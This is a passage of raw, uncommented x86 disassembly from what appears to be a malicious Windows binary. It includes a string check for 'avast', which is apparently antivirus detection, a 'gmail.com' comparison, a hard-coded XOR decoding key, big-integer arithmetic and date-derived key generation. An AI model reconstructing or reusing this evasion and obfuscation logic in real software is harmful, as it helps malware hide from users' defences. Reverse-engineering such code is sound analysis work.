ecx, [esi+24h] call sub_4151CB push ebx call ds:dword_4180E0 jmp loc_4058B4 ; --------------------------------------------------------------------------- loc_4056FA: ; CODE XREF: sub_405675+4Fj mov edi, ds:dword_4180E0 push ebx call edi push dword ptr [esi+5194h] call ds:dword_4180AC push ebp lea ecx, [esi+5178h] call sub_40B3A7 lea ecx, [esp+24h+var_C] call sub_40DB48 lea eax, [esp+24h+var_C] push eax push ebp push offset aGmail_com ; "gmail.com" call sub_40C574 add esp, 0Ch test al, al jnz short loc_405749 lea eax, [esi+5158h] push eax mov ecx, esi call sub_404D27 loc_405749: ; CODE XREF: sub_405675+C4j cmp [esp+24h+var_11], 0 jnz loc_4057F9 push dword ptr [esi+515Ch] call ds:dword_4181CC push eax call ds:dword_4181B0 mov [esp+24h+var_8], eax lea ebp, [esi+98h] loc_405771: ; CODE XREF: sub_405675+133j push 1Eh push 19h push [esp+2Ch+var_8] mov ecx, ebp call sub_4012B3 mov edi, eax test edi, edi mov [esp+24h+var_10], edi jnz short loc_4057AF lea ecx, [esp+24h+var_10] call sub_4021A1 push 1 push 1B7740h push dword ptr [esi+5194h] call ds:dword_4180B0 test eax, eax jnz short loc_405771 jmp loc_40589F ; --------------------------------------------------------------------------- loc_4057AF: ; CODE XREF: sub_405675+113j mov ecx, edi call sub_40D4D4 mov edi, [edi+4] push offset aAvast ; "avast" push edi call sub_40CE77 neg eax sbb eax, eax pop ecx and eax, 0FFFFFFEDh pop ecx add eax, 14h lea edi, [esi+94h] push eax mov ecx, edi call sub_402AD3 mov ecx, edi call sub_401FB8 lea ecx, [esp+24h+var_10] mov [esp+24h+var_11], 1 call sub_4021A1 mov edi, ds:dword_4180E0 loc_4057F9: ; CODE XREF: sub_405675+D9j mov ebp, 1388h loc_4057FE: ; CODE XREF: sub_405675+1FBj mov eax, [esi+20ECh] mov ecx, [esi+20E8h] sub ecx, eax cmp ecx, 400h jge short loc_40583E push ebx call ds:dword_4180DC mov ecx, esi call sub_405263 test al, al jz short loc_405874 mov eax, [esi+20ECh] mov ecx, [esi+20E8h] sub ecx, eax jnz short loc_40583B mov ebp, 0DBBA0h loc_40583B: ; CODE XREF: sub_405675+1BFj push ebx call edi loc_40583E: ; CODE XREF: sub_405675+19Dj lea ecx, [esi+94h] call sub_401E99 test al, al jz short loc_405862 push ebx call ds:dword_4180DC mov ecx, esi call sub_405440 test al, al jz short loc_405874 push ebx call edi loc_405862: ; CODE XREF: sub_405675+1D6j push ebp lea ecx, [esi+5194h] call sub_401316 test al, al jz short loc_4057FE jmp short loc_40589F ; --------------------------------------------------------------------------- loc_405874: ; CODE XREF: sub_405675+1AFj ; sub_405675+1E8j push 10h call sub_40D0BB test eax, eax pop ecx jz short loc_405891 movzx ecx, word ptr [esi+30h] push ecx push dword ptr [esi+2Ch] mov ecx, eax call sub_40414D jmp short loc_405893 ; --------------------------------------------------------------------------- loc_405891: ; CODE XREF: sub_405675+209j xor eax, eax loc_405893: ; CODE XREF: sub_405675+21Aj push eax lea ecx, [esi+24h] call sub_4151CB push ebx call edi loc_40589F: ; CODE XREF: sub_405675+135j ; sub_405675+1FDj push dword ptr [esi+5194h] call ds:dword_4180A8 lea ecx, [esp+24h+var_C] call sub_40DB59 loc_4058B4: ; CODE XREF: sub_405675+80j mov ecx, esi call sub_40426A mov edi, [esp+24h+var_4] loc_4058BF: ; CODE XREF: sub_405675+1Fj push 1 push 3E8h push dword ptr [esi+5190h] call ds:dword_4180B0 test eax, eax jnz loc_405685 jmp loc_4056A1 sub_405675 endp ; =============== S U B R O U T I N E ======================================= sub_4058DF proc near ; CODE XREF: sub_403389+116p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push esi push edi xor ebx, ebx push ebx push [esp+10h+arg_8] mov esi, ecx push [esp+14h+arg_4] push [esp+18h+arg_0] call sub_403CCB lea edi, [esi+94h] mov ecx, edi call sub_4021DE lea ecx, [esi+5158h] mov dword ptr [esi], offset off_41BD98 mov dword ptr [edi], offset off_41BD94 call sub_40DB48 lea ecx, [esi+515Ch] call sub_40DB48 lea edi, [esi+5160h] xor ecx, ecx mov [edi+14h], ecx xor eax, eax mov [edi+10h], eax mov [edi+8], ebx mov [edi+4], ebx mov [esi+518Ch], ecx push 1 lea ecx, [esi+5190h] mov [esi+5188h], eax mov [esi+5180h], ebx mov [esi+517Ch], ebx call sub_4012FC push 1 lea ecx, [esi+5194h] call sub_4012FC mov [esi+5198h], ebx xor ecx, ecx mov [edi+14h], ecx mov [edi+8], esi mov [edi+4], ebx mov eax, offset sub_405675 mov [edi+10h], eax mov eax, offset sub_405074 mov [esi+518Ch], ecx push ebx mov ecx, edi mov [esi+5188h], eax mov [esi+5180h], esi mov [esi+517Ch], ebx call sub_40B3A7 pop edi mov eax, esi pop esi pop ebx retn 0Ch sub_4058DF endp ; =============== S U B R O U T I N E ======================================= sub_4059B5 proc near ; CODE XREF: sub_404949+9p arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov dword ptr [eax], offset off_41BDC0 mov [eax+4], ecx retn 4 sub_4059B5 endp ; =============== S U B R O U T I N E ======================================= sub_4059C7 proc near ; CODE XREF: sub_40444C+8Bj ; sub_405D1C+3p mov dword ptr [ecx], offset off_41BDC0 mov ecx, [ecx+4] mov eax, [ecx] jmp dword ptr [eax+4] sub_4059C7 endp ; =============== S U B R O U T I N E ======================================= sub_4059D5 proc near ; CODE XREF: sub_405A69+9p ; sub_405AA1+74p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 xor ecx, ecx xor al, al cmp [esp+arg_4], ecx jbe short locret_4059ED loc_4059DF: ; CODE XREF: sub_4059D5+16j mov edx, [esp+arg_0] xor al, [ecx+edx] inc ecx cmp ecx, [esp+arg_4] jb short loc_4059DF locret_4059ED: ; CODE XREF: sub_4059D5+8j retn sub_4059D5 endp ; =============== S U B R O U T I N E ======================================= sub_4059EE proc near ; CODE XREF: sub_405A69+1Bp ; sub_405AA1+60p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 xor ecx, ecx xor al, al cmp [esp+arg_4], ecx jbe short locret_405A06 loc_4059F8: ; CODE XREF: sub_4059EE+16j mov edx, [esp+arg_0] add al, [ecx+edx] inc ecx cmp ecx, [esp+arg_4] jb short loc_4059F8 locret_405A06: ; CODE XREF: sub_4059EE+8j retn sub_4059EE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405A07 proc near ; CODE XREF: sub_405AA1+Ep ; sub_405D38+CFp ... var_10 = byte ptr -10h var_F = byte ptr -0Fh var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_C = byte ptr -0Ch var_B = byte ptr -0Bh var_A = byte ptr -0Ah var_9 = byte ptr -9 var_8 = byte ptr -8 var_7 = byte ptr -7 var_6 = byte ptr -6 var_5 = byte ptr -5 var_4 = byte ptr -4 var_3 = byte ptr -3 var_2 = byte ptr -2 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi mov esi, [ebp+arg_4] test esi, esi mov [ebp+var_10], 74h mov [ebp+var_F], 0DFh mov [ebp+var_E], 0ECh mov [ebp+var_D], 43h mov [ebp+var_C], 0A0h mov [ebp+var_B], 26h mov [ebp+var_A], 0B3h mov [ebp+var_9], 5Fh mov [ebp+var_8], 35h mov [ebp+var_7], 0AFh mov [ebp+var_6], 96h mov [ebp+var_5], 1Eh mov [ebp+var_4], 8Ch mov [ebp+var_3], 12h mov [ebp+var_2], 64h mov [ebp+var_1], 7Bh jbe short loc_405A66 mov eax, [ebp+arg_0] lea ecx, [ebp+var_10] sub ecx, eax loc_405A5D: ; CODE XREF: sub_405A07+5Dj mov dl, [ecx+eax] xor [eax], dl inc eax dec esi jnz short loc_405A5D loc_405A66: ; CODE XREF: sub_405A07+4Cj pop esi leave retn sub_405A07 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405A69 proc near ; CODE XREF: sub_4065D1+B1p arg_2 = byte ptr 0Ah arg_3 = byte ptr 0Bh arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push [ebp+arg_8] push [ebp+arg_4] call sub_4059D5 cmp al, [ebp+arg_2] pop ecx pop ecx jnz short loc_405A9D push [ebp+arg_8] push [ebp+arg_4] call sub_4059EE cmp al, [ebp+arg_3] pop ecx pop ecx jnz short loc_405A9D mov [ebp+arg_2], 0 mov [ebp+arg_3], 0 mov eax, [ebp+8] pop ebp retn ; --------------------------------------------------------------------------- loc_405A9D: ; CODE XREF: sub_405A69+13j ; sub_405A69+25j xor eax, eax pop ebp retn sub_405A69 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405AA1 proc near ; CODE XREF: sub_4045DD+15p var_8 = word ptr -8 var_6 = word ptr -6 var_4 = word ptr -4 var_2 = word ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi mov edi, [ebp+arg_0] push 10h push edi call sub_405A07 push 8 xor esi, esi lea eax, [ebp+var_8] push esi push eax call sub_40CCD9 add esp, 14h loc_405AC5: ; CODE XREF: sub_405AA1+4Aj mov dl, [esi+edi] xor eax, eax loc_405ACA: ; CODE XREF: sub_405AA1+44j mov cl, al mov bl, dl shr bl, cl mov ecx, esi and bl, 1 movzx bx, bl shl bx, cl or [ebp+eax*2+var_8], bx inc eax cmp eax, 4 jl short loc_405ACA inc esi cmp esi, 10h jl short loc_405AC5 mov al, byte ptr [ebp+var_2+1] mov bl, byte ptr [ebp+var_2] and [ebp+var_2], 0 mov byte ptr [ebp+arg_0+3], al lea eax, [ebp+var_8] push 8 push eax call sub_4059EE pop ecx pop ecx pop edi pop esi cmp al, bl pop ebx jnz short loc_405B40 lea eax, [ebp+var_8] push 8 push eax call sub_4059D5 cmp al, byte ptr [ebp+arg_0+3] pop ecx pop ecx jnz short loc_405B40 movzx eax, [ebp+var_6] movzx ecx, [ebp+var_8] shl eax, 10h or eax, ecx mov ecx, [ebp+arg_4] mov [ecx], eax movzx eax, [ebp+var_4] mov ecx, [ebp+arg_8] mov [ecx], eax mov al, 1 jmp short locret_405B42 ; --------------------------------------------------------------------------- loc_405B40: ; CODE XREF: sub_405AA1+6Cj ; sub_405AA1+7Ej xor al, al locret_405B42: ; CODE XREF: sub_405AA1+9Dj leave retn 0Ch sub_405AA1 endp ; =============== S U B R O U T I N E ======================================= sub_405B46 proc near ; CODE XREF: sub_405B7E+6p ; sub_406124+19p push esi push 10h mov esi, ecx push 0 push esi call sub_40CCD9 add esp, 0Ch mov eax, esi pop esi retn sub_405B46 endp ; =============== S U B R O U T I N E ======================================= sub_405B5A proc near ; CODE XREF: sub_406231+10p ; sub_406231+1Dp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push 10h mov esi, ecx push 0 push esi call sub_40CCD9 push [esp+10h+arg_4] push [esp+14h+arg_0] push esi call sub_40CCF7 add esp, 18h mov eax, esi pop esi retn 8 sub_405B5A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405B7E proc near ; CODE XREF: sub_405EFE+1Fp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov ecx, [ebp+arg_0] call sub_405B46 mov eax, [ebp+arg_8] shl eax, 2 push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40CCF7 mov eax, [ebp+arg_0] add esp, 0Ch pop ebp retn sub_405B7E endp ; =============== S U B R O U T I N E ======================================= sub_405BA3 proc near ; CODE XREF: sub_405C62+1Dp ; sub_405C62+94p ... arg_0 = dword ptr 4 push 7 pop eax loc_405BA6: ; CODE XREF: sub_405BA3+Fj mov ecx, [esp+arg_0] cmp word ptr [ecx+eax*2], 0 jnz short locret_405BB7 dec eax jns short loc_405BA6 or eax, 0FFFFFFFFh locret_405BB7: ; CODE XREF: sub_405BA3+Cj retn sub_405BA3 endp ; =============== S U B R O U T I N E ======================================= sub_405BB8 proc near ; CODE XREF: sub_405F32+1A3p arg_0 = dword ptr 4 mov edx, [esp+arg_0] push esi push edi push 3 pop edi lea eax, [ecx+0Ch] sub edx, ecx loc_405BC6: ; CODE XREF: sub_405BB8+1Fj mov ecx, [eax] mov esi, [edx+eax] cmp ecx, esi ja short loc_405BD9 jb short loc_405BE0 dec edi sub eax, 4 test edi, edi jge short loc_405BC6 loc_405BD9: ; CODE XREF: sub_405BB8+15j mov al, 1 loc_405BDB: ; CODE XREF: sub_405BB8+2Aj pop edi pop esi retn 4 ; --------------------------------------------------------------------------- loc_405BE0: ; CODE XREF: sub_405BB8+17j xor al, al jmp short loc_405BDB sub_405BB8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405BE4 proc near ; CODE XREF: sub_405F32+1BCp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, [ebp+arg_0] mov esi, ecx push 4 xor ebx, ebx mov [ebp+var_4], esi sub edi, esi pop eax loc_405BFA: ; CODE XREF: sub_405BE4+31j mov edx, [edi+esi] add edx, ebx add [esi], edx cmp [esi], edx sbb ecx, ecx neg ecx cmp edx, ebx sbb edx, edx neg edx or ecx, edx add esi, 4 dec eax mov ebx, ecx jnz short loc_405BFA mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn 4 sub_405BE4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405C21 proc near ; CODE XREF: sub_405F32+1C7p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx mov ebx, [ebp+arg_0] push esi push edi mov esi, ecx push 4 xor edx, edx mov [ebp+var_4], esi sub ebx, esi pop ecx loc_405C37: ; CODE XREF: sub_405C21+35j mov eax, [esi] mov edi, eax sub edi, edx mov edx, edi sub edx, [ebx+esi] cmp edi, edx mov [esi], edx sbb edx, edx neg edx cmp eax, edi sbb eax, eax neg eax or edx, eax add esi, 4 dec ecx jnz short loc_405C37 mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn 4 sub_405C21 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405C62 proc near ; CODE XREF: sub_406103+15p var_34 = byte ptr -34h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 34h push 20h lea eax, [ebp+var_34] push 0 push eax mov [ebp+var_4], ecx call sub_40CCD9 push [ebp+var_4] and [ebp+var_10], 0 call sub_405BA3 add esp, 10h test eax, eax jl short loc_405D04 lea eax, [ebp+var_34] mov [ebp+var_C], eax mov eax, [ebp+var_4] push ebx lea ecx, [ebp+var_34] sub eax, ecx push esi mov [ebp+var_8], 8 mov [ebp+var_14], eax push edi loc_405CA6: ; CODE XREF: sub_405C62+9Dj xor edi, edi xor edx, edx cmp [ebp+var_8], edi jle short loc_405CE9 mov eax, [ebp+var_14] mov ecx, [ebp+var_C] movzx ebx, word ptr [eax+ecx] loc_405CB9: ; CODE XREF: sub_405C62+85j mov eax, [ebp+arg_0] movzx eax, word ptr [eax+edi*2] imul eax, ebx movzx edx, dx add eax, edx movzx edx, word ptr [ecx] lea esi, [eax+edx] cmp si, dx sbb edx, edx neg edx shr eax, 10h add dx, ax mov [ecx], si inc edi inc ecx inc ecx cmp edi, [ebp+var_8] movzx edx, dx jl short loc_405CB9 loc_405CE9: ; CODE XREF: sub_405C62+4Bj push [ebp+var_4] inc [ebp+var_10] dec [ebp+var_8] add [ebp+var_C], 2 call sub_405BA3 cmp [ebp+var_10], eax pop ecx jle short loc_405CA6 pop edi pop esi pop ebx loc_405D04: ; CODE XREF: sub_405C62+27j push 10h lea eax, [ebp+var_34] push eax push [ebp+var_4] call sub_40CCF7 mov eax, [ebp+var_4] add esp, 0Ch leave retn 4 sub_405C62 endp ; =============== S U B R O U T I N E ======================================= sub_405D1C proc near ; DATA XREF: .rdata:off_41BDC0o arg_0 = byte ptr 4 push esi mov esi, ecx call sub_4059C7 test [esp+4+arg_0], 1 jz short loc_405D32 push esi call sub_40D0B6 pop ecx loc_405D32: ; CODE XREF: sub_405D1C+Dj mov eax, esi pop esi retn 4 sub_405D1C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405D38 proc near ; CODE XREF: sub_4049A1+5Bp ; sub_406548+27p var_24 = byte ptr -24h var_18 = byte ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 24h push ebx mov ebx, [ebp+arg_0] push esi push edi push 10h push 0 push ebx call sub_40CCD9 push 0 call sub_40CFAE mov ecx, [ebp+arg_8] imul ecx, 15180h add eax, ecx mov [ebp+arg_0], eax lea eax, [ebp+arg_0] push eax call sub_40D0C9 push 9 mov esi, eax pop ecx lea edi, [ebp+var_24] rep movsd mov cl, [ebp+var_18] mov eax, [ebp+var_10] add eax, [ebp+arg_C] inc [ebp+var_14] lea esi, [ebx+2] mov [esi], cl mov cl, [ebp+var_C] mov [ebx+3], cl mov cl, byte ptr [ebp+var_14] mov [ebx+5], al sar eax, 8 push 5 push esi mov [ebx+4], cl mov [ebx+6], al call sub_4059D5 push 5 push esi mov [ebx], al call sub_4059EE movzx esi, [ebp+var_18] mov [ebx+1], al movzx eax, [ebp+var_C] cdq idiv esi mov cl, byte ptr [ebp+var_14] movzx edi, cl mov eax, esi push 10h push ebx mov [ebx+7], dl cdq idiv edi mov eax, edi mov [ebx+8], dl cdq idiv esi mov al, [ebp+var_C] mov [ebx+9], dl mov dl, [ebp+var_18] xor al, dl mov [ebx+0Ah], al mov al, [ebp+var_C] sub al, dl mov [ebx+0Bh], al mov al, cl xor al, dl mov [ebx+0Ch], al mov al, cl imul dl mov [ebx+0Dh], al mov al, cl imul [ebp+var_C] or cl, [ebp+var_C] mov [ebx+0Eh], al mov [ebx+0Fh], cl call sub_405A07 add esp, 2Ch xor esi, esi mov al, [ebp+arg_4] mov cl, 0Dh imul cl loc_405E18: ; CODE XREF: sub_405D38+ECj mov cl, al add cl, 5Fh add [esi+ebx], cl inc esi cmp esi, 10h jl short loc_405E18 pop edi pop esi pop ebx leave retn 10h sub_405D38 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405E2D proc near ; CODE XREF: sub_4041F0+Dp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx mov edx, [ecx] push esi push edi push 0Ah pop eax push eax push [ebp+arg_4] mov [ebp+var_4], eax push [ebp+arg_0] call dword ptr [edx+4] mov esi, eax test esi, esi jz short loc_405E6F push 1Eh pop edi lea ecx, [ebp+var_4] push ecx push 4 lea ecx, [ebp+arg_4] mov [ebp+var_4], edi mov eax, [esi] push ecx mov ecx, esi call dword ptr [eax+4] cmp eax, 4 jz short loc_405E77 mov eax, [esi] push 1 mov ecx, esi call dword ptr [eax] loc_405E6F: ; CODE XREF: sub_405E2D+1Cj xor eax, eax loc_405E71: ; CODE XREF: sub_405E2D+66j pop edi pop esi leave retn 0Ch ; --------------------------------------------------------------------------- loc_405E77: ; CODE XREF: sub_405E2D+38j mov eax, [ebp+arg_8] xor [ebp+arg_4], eax mov eax, [esi] lea ecx, [ebp+arg_0] push ecx push 4 lea ecx, [ebp+arg_4] push ecx mov ecx, esi mov [ebp+arg_0], edi call dword ptr [eax+8] mov eax, esi jmp short loc_405E71 sub_405E2D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405E95 proc near ; DATA XREF: .rdata:0041BD28o ; .rdata:0041BD40o ... var_10 = byte ptr -10h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h push esi push 0Ch call sub_40D0BB test eax, eax pop ecx jz short loc_405EB3 mov ecx, eax call sub_40DD7C mov esi, eax jmp short loc_405EB5 ; --------------------------------------------------------------------------- loc_405EB3: ; CODE XREF: sub_405E95+11j xor esi, esi loc_405EB5: ; CODE XREF: sub_405E95+1Cj push [ebp+arg_4] lea ecx, [ebp+var_10] push [ebp+arg_0] call sub_401219 push 0 mov ecx, esi call sub_40DA13 push [ebp+arg_8] lea eax, [ebp+var_10] push eax mov ecx, esi call sub_40DFF7 test eax, eax jle short loc_405EEB push 1 mov ecx, esi call sub_40DA13 mov eax, esi jmp short loc_405EF9 ; --------------------------------------------------------------------------- loc_405EEB: ; CODE XREF: sub_405E95+47j test esi, esi jz short loc_405EF7 mov eax, [esi] push 1 mov ecx, esi call dword ptr [eax] loc_405EF7: ; CODE XREF: sub_405E95+58j xor eax, eax loc_405EF9: ; CODE XREF: sub_405E95+54j pop esi leave retn 0Ch sub_405E95 endp ; =============== S U B R O U T I N E ======================================= sub_405EFE proc near ; CODE XREF: sub_405F32+1B2p ; sub_40615C+16p arg_0 = dword ptr 4 test byte ptr dword_421D00, 1 push esi push edi mov esi, offset dword_421CF0 jnz short loc_405F25 or dword_421D00, 1 push 1 push offset dword_41BDC8 push esi call sub_405B7E add esp, 0Ch loc_405F25: ; CODE XREF: sub_405EFE+Ej mov eax, [esp+8+arg_0] mov edi, eax movsd movsd movsd movsd pop edi pop esi retn sub_405EFE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405F32 proc near ; CODE XREF: sub_406124+2Bp var_38 = byte ptr -38h var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 38h push ebx push [ebp+arg_4] call sub_405BA3 mov ebx, eax test ebx, ebx pop ecx mov [ebp+var_28], ebx jge short loc_405F52 xor al, al jmp loc_406100 ; --------------------------------------------------------------------------- loc_405F52: ; CODE XREF: sub_405F32+17j test ebx, ebx mov eax, [ebp+arg_4] push esi mov esi, [ebp+arg_0] push edi mov edi, [ebp+arg_C] movsd movsd movsd lea ecx, [eax+ebx*2] movsd movzx eax, word ptr [ecx] jle short loc_405F71 movzx ecx, word ptr [ecx-2] jmp short loc_405F73 ; --------------------------------------------------------------------------- loc_405F71: ; CODE XREF: sub_405F32+37j xor ecx, ecx loc_405F73: ; CODE XREF: sub_405F32+3Dj push [ebp+arg_C] movzx edi, ax movzx eax, cx mov [ebp+var_20], edi shl edi, 10h add edi, eax mov [ebp+var_1C], edi call sub_405BA3 pop ecx mov ecx, eax cmp ecx, ebx mov [ebp+var_18], ecx jl loc_4060CF sub eax, ebx lea esi, [eax+eax] lea edx, [eax-1] mov [ebp+var_4], eax lea eax, [esi-2] mov [ebp+var_8], edx mov [ebp+var_14], esi mov [ebp+var_C], eax jmp short loc_405FB6 ; --------------------------------------------------------------------------- loc_405FB3: ; CODE XREF: sub_405F32+197j mov edi, [ebp+var_1C] loc_405FB6: ; CODE XREF: sub_405F32+7Fj test ecx, ecx mov edx, [ebp+arg_C] lea ebx, [ecx+ecx] lea eax, [ebx+edx] mov [ebp+var_24], eax movzx eax, word ptr [eax] jle short loc_405FD0 movzx ecx, word ptr [ebx+edx-2] jmp short loc_405FD2 ; --------------------------------------------------------------------------- loc_405FD0: ; CODE XREF: sub_405F32+95j xor ecx, ecx loc_405FD2: ; CODE XREF: sub_405F32+9Cj movzx eax, ax movzx ecx, cx shl eax, 10h add eax, ecx cmp eax, edi setnbe cl test cl, cl jz short loc_405FEB mov edx, [ebp+var_4] jmp short loc_405FF1 ; --------------------------------------------------------------------------- loc_405FEB: ; CODE XREF: sub_405F32+B2j mov edx, [ebp+var_8] mov esi, [ebp+var_C] loc_405FF1: ; CODE XREF: sub_405F32+B7j mov ebx, edx test ebx, ebx mov [ebp+var_10], edx jl loc_4060CF test cl, cl mov ecx, edi jnz short loc_406007 mov ecx, [ebp+var_20] loc_406007: ; CODE XREF: sub_405F32+D0j inc ecx xor edx, edx div ecx movzx ecx, ax test cx, cx jz loc_4060CF mov edi, [ebp+arg_8] add [esi+edi], cx movzx edx, word ptr [esi+edi] cmp dx, cx lea eax, [ebx+1] jnb short loc_406049 loc_40602B: ; CODE XREF: sub_405F32+115j cmp eax, 8 jge short loc_406049 inc word ptr [edi+eax*2] movzx edx, word ptr [edi+eax*2] xor ebx, ebx test dx, dx setz bl inc eax movzx edx, bx test dx, dx jnz short loc_40602B loc_406049: ; CODE XREF: sub_405F32+F7j ; sub_405F32+FCj xor edx, edx cmp [ebp+var_10], 8 jge short loc_406095 mov eax, [ebp+var_10] mov edi, [ebp+arg_4] mov [ebp+var_10], eax mov eax, [ebp+arg_C] movzx ebx, cx lea ecx, [esi+eax] loc_406063: ; CODE XREF: sub_405F32+161j movzx eax, word ptr [edi] movzx esi, word ptr [ecx] imul eax, ebx movzx edx, dx add eax, edx mov edx, esi sub edx, eax cmp si, dx mov [ecx], dx sbb edx, edx neg edx shr eax, 10h add dx, ax inc edi inc edi inc [ebp+var_10] inc ecx inc ecx cmp [ebp+var_10], 8 movzx edx, dx jl short loc_406063 loc_406095: ; CODE XREF: sub_405F32+11Dj mov eax, [ebp+var_24] cmp word ptr [eax], 0 mov ecx, [ebp+var_18] jz short loc_4060B0 add [ebp+var_14], 2 inc ecx inc [ebp+var_4] inc [ebp+var_8] add [ebp+var_C], 2 loc_4060B0: ; CODE XREF: sub_405F32+16Dj mov esi, [ebp+var_14] sub [ebp+var_C], 2 dec ecx dec [ebp+var_4] dec [ebp+var_8] dec esi dec esi cmp ecx, [ebp+var_28] mov [ebp+var_18], ecx mov [ebp+var_14], esi jge loc_405FB3 loc_4060CF: ; CODE XREF: sub_405F32+62j ; sub_405F32+C6j ... push [ebp+arg_4] mov ecx, [ebp+arg_C] call sub_405BB8 test al, al pop edi pop esi jz short loc_4060FE lea eax, [ebp+var_38] push eax call sub_405EFE pop ecx mov ecx, [ebp+arg_8] push eax call sub_405BE4 push [ebp+arg_4] mov ecx, [ebp+arg_C] call sub_405C21 loc_4060FE: ; CODE XREF: sub_405F32+1ACj mov al, 1 loc_406100: ; CODE XREF: sub_405F32+1Bj pop ebx leave retn sub_405F32 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406103 proc near ; CODE XREF: sub_40615C+6Ep ; sub_40615C+95p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov ecx, [ebp+arg_0] push esi mov esi, [ebp+arg_4] push edi mov edi, [ebp+arg_0] push [ebp+arg_8] movsd movsd movsd movsd call sub_405C62 mov eax, [ebp+arg_0] pop edi pop esi pop ebp retn sub_406103 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406124 proc near ; CODE XREF: sub_40615C+7Bp ; sub_40615C+A2p var_10 = byte ptr -10h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h push 10h lea eax, [ebp+var_10] push 0 push eax call sub_40CCD9 mov ecx, [ebp+arg_0] add esp, 0Ch call sub_405B46 push [ebp+arg_0] lea eax, [ebp+var_10] push eax push [ebp+arg_8] push [ebp+arg_4] call sub_405F32 mov eax, [ebp+arg_0] add esp, 10h leave retn sub_406124 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40615C proc near ; CODE XREF: sub_406231+4Bp var_50 = byte ptr -50h var_40 = byte ptr -40h var_30 = byte ptr -30h var_20 = byte ptr -20h var_10 = byte ptr -10h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 50h push ebx push esi mov esi, [ebp+arg_4] push edi push [ebp+arg_0] lea edi, [ebp+var_10] movsd movsd movsd movsd call sub_405EFE push [ebp+arg_8] xor ebx, ebx call sub_405BA3 cdq sub eax, edx sar eax, 1 inc eax shl eax, 5 test eax, eax pop ecx pop ecx jle loc_406229 loc_406194: ; CODE XREF: sub_40615C+C7j mov ecx, ebx and ecx, 8000001Fh jns short loc_4061A3 dec ecx or ecx, 0FFFFFFE0h inc ecx loc_4061A3: ; CODE XREF: sub_40615C+40j xor esi, esi mov eax, ebx cdq inc esi and edx, 1Fh shl esi, cl mov ecx, [ebp+arg_8] add eax, edx sar eax, 5 test [ecx+eax*4], esi jz short loc_4061E5 push [ebp+arg_C] mov edi, [ebp+arg_0] lea eax, [ebp+var_10] push eax lea eax, [ebp+var_20] push edi push eax call sub_406103 add esp, 0Ch push eax lea eax, [ebp+var_30] push eax call sub_406124 mov esi, eax movsd movsd movsd add esp, 0Ch movsd loc_4061E5: ; CODE XREF: sub_40615C+5Dj push [ebp+arg_C] lea eax, [ebp+var_10] push eax push eax lea eax, [ebp+var_40] push eax call sub_406103 add esp, 0Ch push eax lea eax, [ebp+var_50] push eax call sub_406124 push [ebp+arg_8] mov esi, eax lea edi, [ebp+var_10] movsd movsd movsd movsd inc ebx call sub_405BA3 cdq sub eax, edx sar eax, 1 add esp, 10h inc eax shl eax, 5 cmp ebx, eax jl loc_406194 loc_406229: ; CODE XREF: sub_40615C+32j mov eax, [ebp+arg_0] pop edi pop esi pop ebx leave retn sub_40615C endp ; =============== S U B R O U T I N E 